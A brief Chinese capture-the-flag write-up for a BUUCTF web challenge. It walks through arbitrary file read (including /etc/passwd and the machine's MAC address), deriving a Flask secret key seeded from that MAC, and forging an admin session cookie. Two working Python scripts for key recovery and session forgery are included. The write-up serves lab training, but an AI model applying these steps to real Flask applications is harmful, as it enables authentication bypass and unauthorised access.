BUUCTF-[CISCN2019 华东南赛区]Web4 wp
知识点:任意文件读取,代码审计,flask session伪造
进入页面
点击Read somethings后发现url参数,尝试ssrf无果后怀疑存在任意文件读取
尝试读取/etc/passwd,读取成功,并发现可疑文件/app
读取app.py,发现源码
审计源码后发现需要进行flask session伪造,当session[username]为fuck的时候即可获得flag。
往上审计,发现secret key是由mac地址做为随机数的种子生成的,所以可以进行伪造
读取/sys/class/net/eth0/address获得mac地址后编写脚本进行伪造session
伪造密钥脚本:
import random
m="02:42:ae:00:de:bc"
mac=m.replace(":", "")
random.seed(int(mac,16))
key = str(random.random() * 233)
print(key)
伪造session脚本:
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
app = Flask(__name__)
app.config['SECRET_KEY'] = str(72.8923578256)
payload = {u'username': 'fuck'}
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session = serializer.dumps(payload)
print(session)
运行脚本得到session后使用burp传输,获得flag